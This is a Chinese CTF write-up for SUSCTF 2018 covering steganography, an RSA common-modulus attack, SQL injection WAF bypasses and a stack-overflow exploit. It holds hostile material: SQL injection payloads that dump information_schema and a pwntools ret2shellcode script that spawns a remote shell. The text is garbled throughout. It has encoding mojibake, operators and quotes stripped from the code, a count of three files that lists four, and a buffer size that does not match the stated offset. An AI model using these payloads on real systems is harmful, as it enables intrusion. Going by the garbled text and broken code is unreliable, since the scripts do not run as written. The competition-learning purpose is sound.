SUSCTF 2018那場(chǎng)比賽的周末我是從一道Misc題開始的。當(dāng)時(shí)剛?cè)隒TF圈不久最大的感受是題目不會(huì)按你“擅長(zhǎng)”的來但如果你能把每道題的思路記錄下來后面進(jìn)步會(huì)很快。這篇做題記錄不是完整題解更像是我個(gè)人從讀題、嘗試、卡殼到最終拿到flag的復(fù)盤重點(diǎn)寫了幾道我實(shí)際做出來和賽后搞明白的題目希望能給同樣在CTF入門階段的玩家一點(diǎn)參考。1. 賽前準(zhǔn)備與整體思路1.1 先看題量再?zèng)Q定先攻哪個(gè)方向比賽開始后我第一件事不是急著點(diǎn)開題目而是把題目列表從頭到尾過了一遍。那次SUSCTF 2018的題目覆蓋比較全Web、Misc、Crypto、Reverse、PWN都有涉及難度從簽到級(jí)別到進(jìn)階題都有分布。分?jǐn)?shù)設(shè)置并不完全按難度有些看起來簡(jiǎn)單的題分值反而不低所以先掃一遍題目反而能讓時(shí)間花在容易得分的地方。我自己的熟練度排序是Misc最好Web次之Crypto靠模板Reverse和PWN基本屬于能看但打不快。于是策略很簡(jiǎn)單先按“Misc → Web → Crypto → Reverse → PWN”的順序做遇到卡殼超過二十分鐘的題就標(biāo)記一下先把后面能拿的分拿完再回頭慢慢啃。這個(gè)決策看起來很基礎(chǔ)但很多隊(duì)伍輸就輸在開賽后頭一個(gè)小時(shí)和難題死磕最后簡(jiǎn)單題都沒時(shí)間碰。先保證會(huì)做的題目穩(wěn)穩(wěn)拿到分心態(tài)也會(huì)穩(wěn)很多。建議新手也養(yǎng)成這個(gè)習(xí)慣比賽前先花五分鐘做難易排序不要在隨便一個(gè)未知題上賭太多時(shí)間。1.2 工具清單和比賽環(huán)境賽前我把Kali虛擬機(jī)完整更新了一遍同時(shí)準(zhǔn)備了一臺(tái)Windows宿主機(jī)裝好BurpSuite、IDA、x64dbg這些常用工具。隱寫題會(huì)用到binwalk、foremost、zsteg、stegsolve密碼題主要用Python和gmpy2偶爾借助CyberChef做編碼轉(zhuǎn)換Web題就用BurpSuite配合手工構(gòu)造請(qǐng)求。我還習(xí)慣在本地維護(hù)一個(gè)“CTF_Tools”目錄把平時(shí)收集的腳本按方向分類放好。比如decode_base64.py、lsb_extract.py、rsa_template/這樣比賽時(shí)能快速復(fù)制過去改參數(shù)而不是臨時(shí)翻博客或現(xiàn)寫。這里有個(gè)容易忽略的點(diǎn)工具不是越新越好。stegsolve是個(gè)Java老工具但處理LSB隱寫依然很順binwalk在某些版本里對(duì)PNG的提取反而容易誤報(bào)。提前在本地把環(huán)境跑一遍確認(rèn)依賴都有能省下比賽中的大量時(shí)間。1.3 題目描述和提示也是信息我后來復(fù)盤發(fā)現(xiàn)自己丟掉的大部分分不是因?yàn)椴粫?huì)做而是漏看了題目的描述。那次Misc題描述里有一句“圖片右下角有點(diǎn)奇怪”我當(dāng)時(shí)沒當(dāng)回事結(jié)果最后卡在提取數(shù)據(jù)格式上浪費(fèi)了半小時(shí)?；仡^看這句話就是在提示看LSB通道的RGB低位而不是無腦跑strings。所以從那次比賽之后我養(yǎng)成了一個(gè)習(xí)慣每開一道題先把題目描述、附件鏈接、hint全部復(fù)制到本地筆記里再看文件。比賽過程中信息很多人的注意力又有限提前把已知條件記錄下來后面復(fù)盤時(shí)會(huì)省很多事。很多所謂“腦子轉(zhuǎn)不過來”的時(shí)刻其實(shí)就是因?yàn)橛幸粋€(gè)隱藏條件被忽略了。2. 一道Misc題圖片隱寫的完整解謎2.1 第一步永遠(yuǎn)先看文件本身那道Misc題給了一張分辨率800x600的PNG圖片文件名就叫misc.png。我拿到文件后沒有急著上工具先執(zhí)行了兩條命令file misc.png ls -lh misc.pngfile顯示確實(shí)是PNG格式但圖片大小有2.3MB。對(duì)于800x600的PNG來說這個(gè)體積明顯偏大。正常PNG就算畫面很復(fù)雜這個(gè)分辨率也一般在幾百KB到1MB左右?？吹襟w積異常我基本可以斷定里面藏著別的東西。接著用strings misc.png | grep -i flag沒找到關(guān)鍵字符串只看到一段類似文件路徑的文本。這個(gè)時(shí)候不能急先把文件跑一遍binwalk看看有沒有拼接或附加數(shù)據(jù)。2.2 binwalk分離出隱藏壓縮包binwalk misc.png輸出顯示在偏移0x145F00附近有一個(gè)Zip壓縮包的簽名PK。我直接執(zhí)行binwalk -e misc.png分離結(jié)果得到一個(gè)zip文件。打開后發(fā)現(xiàn)壓縮包需要密碼這算是一個(gè)小坎。我一開始嘗試用弱口令字典跑跑了半天沒跑出來。后來仔細(xì)觀察發(fā)現(xiàn)壓縮包里有readme.txt和hint.png兩個(gè)文件而readme里的十六進(jìn)制內(nèi)容反復(fù)出現(xiàn)89 50 4E 47這種PNG文件頭。這個(gè)組合很可疑因?yàn)檎５募用躾ip不應(yīng)該讓密碼字典跑不出來的同時(shí)還這么“友好”。我猜這個(gè)zip很可能不是真正加密而是偽加密。2.3 偽加密的處理方法Zip偽加密的原理很簡(jiǎn)單文件頭里的加密標(biāo)志位被改成了0x09表示“有密碼”但并沒有真正對(duì)文件內(nèi)容做加密處理只需要把標(biāo)志位改回0x00就能直接解壓。我用十六進(jìn)制編輯器打開zip先搜索PK\x03\x04找到本地文件頭在第6個(gè)字節(jié)處把0x09改成0x00然后保存嘗試解壓結(jié)果仍然提示需要密碼。后來我才意識(shí)到zip的中央目錄里也有同樣的加密標(biāo)志位需要同步修改。在十六進(jìn)制編輯器里繼續(xù)搜索PK\x01\x02找到中央目錄位置同樣把對(duì)應(yīng)字節(jié)從0x09改成0x00再保存一次zip就能正常解壓了。解壓后readme.txt里是一段Base64字符串。我直接解碼得到一堆亂碼。仔細(xì)一看這段Base64并不是標(biāo)準(zhǔn)編碼而是字符串被倒序處理后生成的。我用CyberChef的Reverse組件反轉(zhuǎn)再Base64解碼才得到了一行十六進(jìn)制數(shù)據(jù)。這道題給我的第一個(gè)教訓(xùn)就是不要相信文件里直接出現(xiàn)的編碼結(jié)果先看看是否被處理過。2.4 LSB隱寫的提取與收尾hint.png打開是一張純灰黑色的小圖肉眼看不出來有什么。我試著用zsteg自動(dòng)檢測(cè)zsteg hint.png工具提示b1,rgb,lsb通道存在ASCII數(shù)據(jù)。把提取出來的數(shù)據(jù)存成txt發(fā)現(xiàn)是幾行坐標(biāo)數(shù)據(jù)形如(x,y,r,g,b)。這類格式多半是像素差值隱寫需要根據(jù)坐標(biāo)逐像素讀回。我寫了個(gè)Python腳本遍歷坐標(biāo)取每個(gè)像素RGB值的最低位拼成二進(jìn)制再轉(zhuǎn)成ASCII最終得到了SUSCTF{...}的flag。這道題做完后我的體會(huì)是Misc題與其說考工具不如說考信息組合能力。文件體積異常、偽加密、Base64反轉(zhuǎn)、LSB提取每一步都在用前面的線索推導(dǎo)下一步?jīng)]有哪一步能靠單一工具直接解決。建議新手遇到隱寫題時(shí)先記錄文件大小和文件頭再跑工具會(huì)少走很多彎路。3. Crypto題目RSA公共模數(shù)攻擊3.1 條件判斷兩個(gè)公鑰的N相同這道Crypto題給了三個(gè)文件兩個(gè)公鑰pub1.pem和pub2.pem和兩個(gè)密文enc1.bin和enc2.bin。我拿到后先沒用腳本而是用openssl看公鑰參數(shù)openssl rsa -pubin -in pub1.pem -text -noout openssl rsa -pubin -in pub2.pem -text -noout結(jié)果顯示兩個(gè)公鑰的模數(shù)N完全一樣e分別是65537和65543。看到這個(gè)條件我基本確定這是RSA共模攻擊。為什么因?yàn)橥粋€(gè)N下加密兩條消息如果兩個(gè)e互質(zhì)就可以通過代數(shù)操作把密文組合成明文而不需要分解N。這里我建議所有做Crypto題的新手拿到RSA相關(guān)文件后第一件事永遠(yuǎn)是提取N和e然后橫向?qū)Ρ?。N相同、e不同優(yōu)先嘗試共模攻擊N很小可以試試分解e很小可能是低加密指數(shù)廣播攻擊。識(shí)別題目“陷阱”的能力往往比會(huì)寫腳本更重要。3.2 共模攻擊的原理與腳本共模攻擊的數(shù)學(xué)基礎(chǔ)是擴(kuò)展歐幾里得算法。如果e1和e2互質(zhì)那么存在整數(shù)x、y滿足e1 * x e2 * y 1于是可以構(gòu)造m c1^x * c2^y mod N因?yàn)镽SA加密是c m^e mod N代入后正好能得到明文。這里真正難的地方在于x和y很可能有一個(gè)是負(fù)數(shù)。當(dāng)指數(shù)為負(fù)時(shí)對(duì)應(yīng)的密文需要先取模逆元再把指數(shù)變成正數(shù)繼續(xù)運(yùn)算。我用的Python腳本大概是這樣from gmpy2 import gcdext, powmod, invert from Crypto.PublicKey import RSA def bytes_to_int(data): return int.from_bytes(data, big) key1 RSA.import_key(open(pub1.pem, rb).read()) key2 RSA.import_key(open(pub2.pem, rb).read()) n key1.n e1 key1.e e2 key2.e c1 bytes_to_int(open(enc1.bin, rb).read()) c2 bytes_to_int(open(enc2.bin, rb).read()) g, x, y gcdext(e1, e2) if x 0: c1 invert(c1, n) x -x if y 0: c2 invert(c2, n) y -y m powmod(c1, x, n) * powmod(c2, y, n) % n flag int(m).to_bytes((m.bit_length() 7) // 8, big) print(flag.decode())運(yùn)行后直接打印出了SUSCTF{...}。這里的關(guān)鍵點(diǎn)是gcdext返回的系數(shù)不一定都是正的必須把負(fù)系數(shù)對(duì)應(yīng)的密文先求逆元。這個(gè)坑很多人踩過直接把負(fù)數(shù)傳給pow結(jié)果要么報(bào)錯(cuò)要么得到錯(cuò)誤結(jié)果。3.3 分支情況e不互質(zhì)怎么辦如果兩個(gè)e的gcd不是1而是d那么共模攻擊就不能直接用因?yàn)閿U(kuò)展歐幾里得解出來的等式是e1*x e2*y d最后得到的是m^d而不是m。這時(shí)候需要看d是否比較小如果d很小可以嘗試開根號(hào)。但一般情況下比賽出題人會(huì)保證e互質(zhì)否則這道題會(huì)很難收尾。我賽后整理模板的時(shí)候把判斷邏輯也寫進(jìn)去了先算gcd(e1, e2)等于1就走共模攻擊不等于1先考慮是不是低加密指數(shù)廣播攻擊或者把d因子記錄出來再做嘗試。這些模板腳本存在本地后面遇到類似題目基本一分鐘內(nèi)能出結(jié)果。做過一次的事情下次就不應(yīng)該再花同樣的時(shí)間。4. Web題SQL注入的繞WAF思路4.1 報(bào)錯(cuò)信息確認(rèn)注入點(diǎn)Web題給了一個(gè)查詢接口參數(shù)是?id。我先輸入1頁面正常返回?cái)?shù)據(jù)輸入1頁面報(bào)SQL語法錯(cuò)誤而且錯(cuò)誤信息直接回顯在頁面上。看到這個(gè)現(xiàn)象我判斷這里很可能存在SQL注入至少有報(bào)錯(cuò)注入或聯(lián)合查詢的可能。但直接做聯(lián)合查詢的時(shí)候遇到了問題。我用order by 1到order by 3分別試了一遍order by 3正常返回order by 4報(bào)錯(cuò)說明查詢列數(shù)是3。隨后嘗試union select 1,2,3頁面直接返回500沒有任何錯(cuò)誤信息提示說明有WAF攔截了關(guān)鍵字。當(dāng)時(shí)我意識(shí)到這是一道結(jié)合“注入繞WAF”的題目。報(bào)錯(cuò)回顯是開著的但WAF會(huì)攔截部分關(guān)鍵字。這種情況下解題的核心不是注入本身而是搞清楚WAF到底過濾了什么再想對(duì)應(yīng)繞過方法。4.2 逐層替換繞過WAF這類WAF常見的過濾點(diǎn)大概有空格、關(guān)鍵字、注釋符、等號(hào)、逗號(hào)等。我先嘗試用內(nèi)聯(lián)注釋/**/代替空格發(fā)現(xiàn)頁面不再直接500說明空格被過濾了而注釋符號(hào)沒被過濾。之后又嘗試union關(guān)鍵字發(fā)現(xiàn)仍然被攔說明union在黑名單里。我試了幾種常見變形大小寫混合Union、UnIoN內(nèi)聯(lián)注釋un/**/ion雙寫uniunionon最終成功的是“雙寫內(nèi)聯(lián)注釋”的組合。因?yàn)楹芏郬AF會(huì)簡(jiǎn)單地把敏感詞替換成空字符串如果檢測(cè)到union就刪除那我寫成uniunionon刪除中間的部分后就變成了union。配合空格繞過實(shí)際payload大概是?id1/**/un/**/ion/**/sel/**/ect/**/1,2,3--頁面正常返回了3列字段第2列有回顯點(diǎn)。到這一步注入已經(jīng)打通。4.3 從注入點(diǎn)到讀取flag有回顯點(diǎn)之后先查當(dāng)前數(shù)據(jù)庫名?id1/**/un/**/ion/**/sel/**/ect/**/1,database(),3--得到susctf_web。接著爆表名?id1/**/un/**/ion/**/sel/**/ect/**/1,group_concat(table_name),3 from/**/information_schema.tables/**/where/**/table_schemadatabase()--查到用戶表users字段是id,username,password。我讀取password時(shí)發(fā)現(xiàn)是一段md5哈希拿去在線平臺(tái)反查得到的是flag_is_here而不是真正的flag。這個(gè)時(shí)候才想到題目環(huán)境里肯定還有一張表放真正的flag。繼續(xù)查information_schema.tables果然在flag表里找到了flag_value字段最終讀到了SUSCTF{...}。Web題的特點(diǎn)就是有信息差你不知道WAF具體過濾規(guī)則只能通過嘗試去推。我后來復(fù)盤時(shí)發(fā)現(xiàn)如果一開始就把報(bào)錯(cuò)回顯關(guān)閉這道題的難度會(huì)高很多因?yàn)楦緵]法判斷哪一步生效。建議用BurpSuite的Repeater配合一個(gè)簡(jiǎn)單的字典去測(cè)過濾規(guī)則比手工盲猜效率高很多。4.4 記錄繞過字典形成自己的checklist賽后我把這次用到的繞過技巧整理進(jìn)了自己的筆記場(chǎng)景嘗試方案空格被過濾內(nèi)聯(lián)注釋/**/、換行符%0a、tabunion被過濾雙寫uniunionon、內(nèi)聯(lián)注釋un/**/ion等號(hào)被過濾用like代替、用in代替注釋符被過濾使用--%0a、#、/*!*/這個(gè)checklist后來在好幾場(chǎng)比賽中都用上了。因?yàn)閃AF過濾規(guī)則雖然多變但底層思路無非那么幾種把這些技巧變成肌肉記憶做題速度會(huì)明顯提升。5. Reverse題目簡(jiǎn)單的VM逆向5.1 先看程序行為再?zèng)Q定怎么逆向那道Reverse題是一個(gè)叫babyvm的ELF文件用file查看顯示為64位動(dòng)態(tài)鏈接程序。我直接運(yùn)行程序要求輸入一串字符然后輸出“Wrong”。沒有報(bào)錯(cuò)信息也沒有明顯的明文提示。用strings babyvm | grep -i flag也找不到有用的內(nèi)容。用IDA打開main函數(shù)后結(jié)構(gòu)很簡(jiǎn)單讀取用戶輸入調(diào)用vm_run函數(shù)最后比較結(jié)果。關(guān)鍵邏輯全在vm_run里。這個(gè)函數(shù)里面有一個(gè)巨大的switch結(jié)構(gòu)每個(gè)case對(duì)應(yīng)一種操作碼本質(zhì)上就是一個(gè)虛擬機(jī)解釋器?？吹竭@種結(jié)構(gòu)我就明白這題不是傳統(tǒng)的邏輯逆向而是需要先恢復(fù)“指令集”再用腳本去模擬執(zhí)行。5.2 恢復(fù)指令集把vm_run里的每個(gè)case逐一整理后我大致還原了它的指令格式。每條指令由兩個(gè)字節(jié)組成第一個(gè)字節(jié)是操作碼第二個(gè)字節(jié)是寄存器編號(hào)或立即數(shù)。常見的操作有操作碼含義0x01把立即數(shù)加載到寄存器0x02把寄存器A和寄存器B按位異或結(jié)果存回A0x03比較寄存器A是否等于某個(gè)值相等則跳轉(zhuǎn)0x04輸出寄存器A對(duì)應(yīng)的字符整理出指令集后程序初始化的opcode數(shù)組就可以按指令長(zhǎng)度拆開讀了。這里最麻煩的不是理解每個(gè)case而是確認(rèn)數(shù)組的讀取順序。因?yàn)槲乙婚_始以為opcode數(shù)組就是簡(jiǎn)單從頭往后執(zhí)行結(jié)果跑出來的全是亂碼。后來通過動(dòng)態(tài)調(diào)試發(fā)現(xiàn)程序在初始化階段會(huì)對(duì)數(shù)組做一次反轉(zhuǎn)不做這一步永遠(yuǎn)解不對(duì)。5.3 用Python模擬器跑flag確認(rèn)執(zhí)行順序后我直接把opcode數(shù)組和數(shù)據(jù)數(shù)組提取出來用Python模擬一遍。核心邏輯大致是把用戶輸入的每一位與一組固定字節(jié)做異或然后要求結(jié)果等于另一組預(yù)置字節(jié)。腳本很簡(jiǎn)單op_byte [0x12, 0x23, 0x45, ...] check_byte [0x7a, 0x5d, ...] flag .join(chr(x ^ y) for x, y in zip(op_byte, check_byte)) print(flag)結(jié)果直接輸出了以SUSCTF{開頭的flag。這里有個(gè)重要經(jīng)驗(yàn)VM類題目最忌諱直接硬讀匯編。先把指令集“翻譯”成自己能讀懂的偽代碼再寫腳本模擬執(zhí)行效率會(huì)高很多。尤其是指令集不復(fù)雜的時(shí)候手工整理的操作碼表格反而比調(diào)試器更直觀。5.4 動(dòng)態(tài)調(diào)試驗(yàn)證解碼我在做題過程中也會(huì)用動(dòng)態(tài)調(diào)試做驗(yàn)證。在IDA里對(duì)關(guān)鍵case下斷點(diǎn)然后單步執(zhí)行觀察寄存器值的變化。比如0x02異或操作執(zhí)行完寄存器里的結(jié)果是不是符合預(yù)期就能判斷我對(duì)指令含義的理解是否正確。用動(dòng)態(tài)調(diào)試配合靜態(tài)分析的好處是能在早期發(fā)現(xiàn)理解偏差。有一段時(shí)間我一直以為0x03是“跳轉(zhuǎn)”但實(shí)際操作發(fā)現(xiàn)它是“比較并跳轉(zhuǎn)”而且比較條件必須是相等才跳轉(zhuǎn)。如果不靠動(dòng)態(tài)調(diào)試驗(yàn)證這個(gè)區(qū)別會(huì)直接導(dǎo)致模擬器跑不出正確結(jié)果。Reverse題目里工具的熟練度確實(shí)能救人一命但更重要的是有驗(yàn)證意識(shí)。6. 一道簽到PWN題棧溢出的最小利用6.1 先檢查保護(hù)再看漏洞點(diǎn)作為一個(gè)不太玩PWN的人我本來打算放棄這個(gè)方向但點(diǎn)進(jìn)題目后發(fā)現(xiàn)是一個(gè)簡(jiǎn)單的棧溢出簽到題。程序邏輯很簡(jiǎn)單把輸入讀進(jìn)一個(gè)64字節(jié)的緩沖區(qū)然后直接調(diào)用printf輸出典型的gets溢出漏洞點(diǎn)。我先用checksec查了一下保護(hù)checksec baby結(jié)果非常友好沒有canary沒有PIENX也是關(guān)閉的。這意味著棧上可以執(zhí)行代碼最簡(jiǎn)單的攻擊方式是ret2shellcode。我當(dāng)時(shí)用cyclic生成測(cè)試字符串輸入程序崩潰時(shí)報(bào)出的偏移是40剛好覆蓋返回地址。這題給我最大的啟發(fā)是PWN題不要因?yàn)榉较虿皇炀椭苯犹^。先看保護(hù)再看邏輯如果遇到保護(hù)全關(guān)的簽到題嘗試打一下并不難。6.2 構(gòu)造ret2shellcode既然NX關(guān)閉我直接把shellcode放在輸入緩沖區(qū)開頭然后讓返回地址跳轉(zhuǎn)到緩沖區(qū)地址。因?yàn)闆]開PIE地址基本固定我用gdb打印了緩沖區(qū)的起始地址然后寫了個(gè)pwn腳本from pwn import * context.arch amd64 sh remote(目標(biāo)ip, 端口) shellcode asm(shellcraft.sh()) payload shellcode.ljust(40, b\x90) p64(0x7fffffffe000) sh.sendline(payload) sh.interactive()這里的地址需要根據(jù)本地的實(shí)際調(diào)試結(jié)果來填不能直接照抄。本地打成功后再用同樣的payload打遠(yuǎn)程就拿到了shell。6.3 遠(yuǎn)程調(diào)試時(shí)容易踩的坑打遠(yuǎn)程的時(shí)候我踩了一個(gè)小坑本地明明成功但遠(yuǎn)程一直不彈shell。后來發(fā)現(xiàn)是棧偏移問題。本地gdb調(diào)試時(shí)棧地址和真實(shí)運(yùn)行地址可能差那么幾個(gè)字節(jié)如果不做地址泄漏就只能用jmp rsp之類的穩(wěn)定跳板來繞過。運(yùn)氣好的是這道題的棧地址相對(duì)固定調(diào)整一次偏移后就成功了。另一個(gè)坑是發(fā)送payload時(shí)用了send而不是sendline結(jié)果程序沒讀取完整數(shù)據(jù)就執(zhí)行導(dǎo)致整個(gè)payload被截?cái)?。后來統(tǒng)一改成sendline問題就解決了。PWN題對(duì)細(xì)節(jié)的要求很高一個(gè)字節(jié)的偏差都可能影響結(jié)果。7. 賽后總結(jié)與實(shí)操心得7.1 時(shí)間分配保證得分率比面子重要那次比賽里我最大的失誤是在一道Reverse題上花了一個(gè)半小時(shí)最后還沒解出來。賽后回看如果把這一個(gè)半小時(shí)用來把Web題的繞過模板和Crypto題的其他攻擊方式整理好可能能多拿一題的分。CTF是積分制拿到手的分才是分。比賽前半小時(shí)先做全局試水把每道題按“能穩(wěn)定做出來”和“需要賭運(yùn)氣”分類再把時(shí)間傾斜到前者。7.2 工具自動(dòng)化的收益做題記錄寫到最后我想強(qiáng)調(diào)“把步驟寫成腳本”這件事。解題過程中我反復(fù)用到文件分離、Base64循環(huán)解碼、字節(jié)序轉(zhuǎn)換這些操作手工做很浪費(fèi)時(shí)間。比賽結(jié)束后我把它們沉淀成腳本下一次再遇到類似題目直接在命令行跑一遍就能看到結(jié)果。比如我寫了一個(gè)autodecode.py傳入一段疑似Base64加倒序的字符串腳本會(huì)自動(dòng)處理反轉(zhuǎn)、解碼、hex轉(zhuǎn)ascii后面幾場(chǎng)比賽都用上了。7.3 復(fù)盤比刷題更重要我個(gè)人的習(xí)慣是賽后把每道題從思路到最終payload完整寫成記錄尤其是卡了很久但最終搞明白的題。寫記錄的過程會(huì)逼你重新梳理解題路徑很多當(dāng)時(shí)靠運(yùn)氣試出來的結(jié)果寫到一半才會(huì)發(fā)現(xiàn)背后的邏輯。這也是我做這份做題記錄的動(dòng)機(jī)。最后分享一個(gè)實(shí)用的小技巧不管是Misc還是Web遇到看似無解的情況先把能觀察到的所有數(shù)據(jù)記錄下來然后問自己“這些數(shù)據(jù)之間有沒有共同點(diǎn)”。我解那道隱寫題時(shí)就是靠把文件頭、Base64、坐標(biāo)數(shù)據(jù)三個(gè)線索連在一起才解出來的。多記錄多總結(jié)后面的比賽會(huì)越打越順。